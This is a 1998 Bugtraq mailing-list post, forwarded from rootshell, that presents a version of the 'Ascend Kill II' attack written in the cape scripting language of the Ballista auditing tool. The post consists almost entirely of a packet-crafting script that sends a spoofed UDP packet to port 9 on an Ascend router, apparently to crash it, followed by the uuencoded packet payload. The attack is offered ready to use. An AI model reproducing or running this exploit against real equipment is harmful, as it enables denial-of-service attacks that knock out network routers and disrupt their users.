[6314] in bugtraq
Ascend Kill II - Ballista "cape" version
daemon@ATHENA.MIT.EDU (Aleph One)
Mon Mar 16 21:18:14 1998
Date: Mon, 16 Mar 1998 19:30:28 -0600
Reply-To: Aleph One <aleph1@DFW.NET>
From: Aleph One <aleph1@DFW.NET>
To: BUGTRAQ@NETSPACE.ORG
[ from rootshell ]
Secure Networks makes security auditing software called Ballista. It has
its own scripting language called cape. Here is a version of Ascend Kill II
written in cape. Check out how small it is!
-- cut here --
iface=le0
# Enter your default gateway
gateway=10.0.0.1
ip
# Source IP of packet
ip_src=1.2.3.4
# Address of Ascend router
ip_dst=10.0.0.2
ip_version=4
ip_proto=IPPROTO_UDP
ip_flags=0
ip_done
udp
udp_sport=9
udp_dport=9
udp_done
data_file=ascend_data
end_of_packet
-- cut here --
Here is the data that cape needs. It is uuencoded.
begin 644 ascend_data.uue
M 'H@@2S/VD@0 2-%9X__________\ 3D%-14Y!345.04U%3D%-1?]0
M05-35T]21%!!4U-73U)$4$%34V9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
M9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
M9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
M9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
99F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
end
